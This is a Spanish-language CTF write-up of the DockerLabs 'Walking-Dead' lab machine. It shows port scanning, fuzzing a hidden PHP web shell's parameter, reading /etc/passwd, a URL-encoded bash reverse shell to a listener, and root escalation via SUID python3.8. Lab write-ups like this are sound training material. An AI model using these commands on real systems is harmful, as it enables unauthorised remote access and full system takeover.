Post

Walking-Dead, DockerLabs

portada

Herramientas y recursos

En este reto de DockerLabs practicamos.

Tecnicas Herramientas
scan de puertos nmap
fuzzing de parametro ffuf
reverse shell urlencodeada
escalada de privilegios python
escalada de privilegios searchbins

Reconocimiento y enumeracion

Lo primero como siempre le tiramos un nmap con los parámetros de costumbre.

1
sudo nmap -p- -sS -sC -sV --min-rate=5000 -n -Pn -oX walkingdead 172.18.0.2

reporte

Como vemos en el reporte en esta ocasion tenemos varios puertos abiertos el el 22 ssh, el 80 http

Vamos a empezar revisando la web manualmente y vemos una pagina sin ninuguan dat pero si revisamos el codigo encontramos un link que nos lleva a un LFI o RCE pareciera , tendremos que buscar el parametroc para ello FUFF Probando a incluir archivos locales no encontraba nada pero pasnadole un whoami he tenido exito.

1
ffuf -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://172.17.0.2/hidden/.shell.php\?FUZZ\=whoami -fs 0 ```
parametro utilidad
-c damos color a la salida
-w indicamos el diccionario
-u la url
-fs filtra las respuestas que tienen una longitud de 0 bytes

Obtenemos el parametro cmd

code

Ahora que tenemos el parametro vamos a probar a ver si podemos ejecutar comandos.

cmd

Llagados a este punto ejecuto un cat /etc/passwd y vemos que hay dos usuarios rick y negan , esto nos abre dos puertas una o fuerza bruta contra ssh y una revshell

passwd

Al tratarse de una maquina calificada como facil vamos a lo rapido primero asi que mandamos una revshell y hacemos las comprobaciones de suid , sudo y demas. Primero a la escuha con ncy luego nos lanzamos la revshell urlencodeada de otra forma no me funciono.

en mi maquina local lanzo un netcat para recibir la conexion.

1
nc -lnvp 1188

y en la victima

1
bash -c "bash -i >%26 %2Fdev%2Ftcp%2F172.17.0.1%2F1188 0>%261"

recibida

Nos toca realizar el tratamiento de la tty para ello lanzamos los siguientes comandos

1
2
3
4
5
6
7
8
 script /dev/null -c bash 
   control Z con esto la pasamos a segundo plano
  stty raw -echo ; fg
  reset
    en otra terminal lanzamos stty size para saber el numero de filas y columnas de nuestra terminal
  export TERM=xterm
  export SHELL=bash
  stty rows 32 columns 149

Con esos pasos nuestra term deberia ser funcional.

python

Vemos que nos han dejado a python3.8 y que podemos escalar con el avriguemos como hacerlo porque de la forma habitual no me permitio cosa que en otras maquinas si, no acabo de entender porque.

Este primer comando me devuelve a www-data

1
/usr/bin/python3.8 -c "import os; os.system('/bin/bash')" 

Lo mismo me sucede si abro la terminal de python y lanzo el comando

1
2
import pty;
pty.spawn("/bin/bash");

Ni caso a los dos comandos de arriba estaba trabajando como si estuviese activada la ejecucion con sudo y no con setuid, estoy espeso.

Cualquiera de estos dos comando me funciona para escalar a root ademas searchbins me lo deja claro.

1
2
/usr/bin/python3.8 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Somos root

root

Muchas gracias a difundir y compartir lo que sabemos.

This post is licensed under CC BY 4.0 by the author.

Comments powered by Disqus.